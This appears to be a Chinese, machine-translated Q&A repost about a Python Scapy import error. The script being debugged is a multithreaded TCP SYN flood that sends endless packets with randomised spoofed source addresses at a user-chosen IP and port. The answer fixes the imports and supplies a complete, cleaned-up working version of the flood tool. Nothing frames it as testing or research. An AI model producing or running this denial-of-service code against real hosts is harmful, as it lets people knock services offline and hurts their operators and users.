python的scapy,Scapy在Python脚本中

我正在用Python编写一个使用Scapy的脚本,但我的问题是例外是:

i = IP()

NameError: global name ‘IP’ is not defined

这是我的脚本:

import random

from scapy import *

import threading

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

print ("Which IP would you like to choose?")

ip = raw_input("-->")

print ("Which Port would you like to choose?")

port = raw_input("-->")

class sendSYN(threading.Thread):

global ip, port

def __init__(self):

threading.Thread.__init__(self)

def run(self):

# Method -

i = IP()

i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))

i.dst = ip

t = TCP()

t.sport = random.randint(1, 65535)

t.dport = port

t.flags = 'S'

send(i/t, verbose=0)

count = 0

while True:

if threading.activeCount() < 200:

sendSYN().start()

count += 1

if count % 100 == 0:

print ("\rPackets SYN\t:\t\t\t%i" % count)

我该怎么做才能解决这个问题?

解决方法:

导入IP / TCP

您可以直接从scapy.layers.* subpackage导入scapy提供的所有图层.这很好,只要你不需要任何其他功能,如send / sendp / sniff / …或者你需要一些非常神奇的层,如ASN.1失败并引发异常,如果一些全局初始化通常通过导入设置scapy.all失踪了.

IP()和TCP()的具体导入(检查你的scapy / layers / inet.py)

from scapy.layers.inet import IP, TCP

只要您只使用它们进行去/序列化(例如组装/反汇编数据包)就足够了,但由于您还需要send(),您必须导入scapy.all,如Semih Yagcioglu建议的那样.

请注意,根据scapy manual,导入行从scapy import *(scapy v1.x)更改为scapy.all import *(因为scapy v2.x)因此以下内容应该没问题:

from scapy.all import send, IP, TCP

请注意,导入scapy.all非常慢,因为它通配符导入所有子包并执行一些初始化魔术.

也就是说,你应该尽量避免不必要的通配符导入(编码风格;即使scapy没有太大区别)

from scapy.all import *

python 2.7

scapy v2.3.1与linux上的python 2.7兼容.

然而,让它在Windows上完全正常运行并不是一件轻而易举的事,请参阅problems with scapy on windows,特别是在phys wifi nics发送数据包时.通常windows人员使用scapy 2.3.1运行python2.6(请注意,当scapy尝试生成时可能存在权限问题某些Windows版本上的套接字访问).为了避免一些麻烦,我强烈建议在linux上运行它(vbox很好).

代码的工作示例

以下代码在linux上运行正常,py2.7 scapy 2.3.1:

#!/usr/bin/env python

# -*- coding: UTF-8 -*-

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

import threading

import random

from scapy.all import IP, TCP, RandIP, send, conf, get_if_list

logging.basicConfig(level=logging.DEBUG, format='%(asctime)-15s [%(threadName)s] %(message)s')

class sendSYN(threading.Thread):

def __init__(self, target):

threading.Thread.__init__(self)

self.ip, self.port = target

def run(self):

pkt = IP(src=RandIP(),

dst=self.ip)/TCP(flags='S',

dport=self.port,

sport=random.randint(0,65535))

send(pkt)

logging.debug("sent: %s"%pkt.sprintf("{IP:%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%}"))

if __name__=='__main__':

conf.verb = 0 # suppress output

print ("Which Interface would you like to choose? %r"%get_if_list())

iface = raw_input("[%s] --> "%get_if_list()[0]) or get_if_list()[0]

if iface not in get_if_list(): raise Exception("Interface %r not available"%iface)

conf.iface = iface

print ("Which IP would you like to choose?")

ip = raw_input("-->")

print ("Which Port would you like to choose?")

port = int(raw_input("-->"))

count = 0

while True:

if threading.activeCount() < 200:

sendSYN((ip, port)).start()

count += 1

if count % 100 == 0:

logging.info ("\rPackets SYN\t:\t\t\t%i" % count)

>固定进口

>使用日志而不是打印

>将目标传递给类实例而不是使用全局变量

>添加了界面选择(必须为Windows使用scapy使用linux和windows的linux样式接口名称,这就是为什么你可能不得不为windows猜测正确的界面名称)

>全球范围内设置scapy详细程度

>使用RandIP()字段而不是手动构建随机IP

> TCP.sport/dport需要一个整数,因此你必须解析从stdin读取的值.

>使用snprintf()打印发送的数据包IP /端口

标签:python,scapy

来源: https://codeday.me/bug/20190702/1358258.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值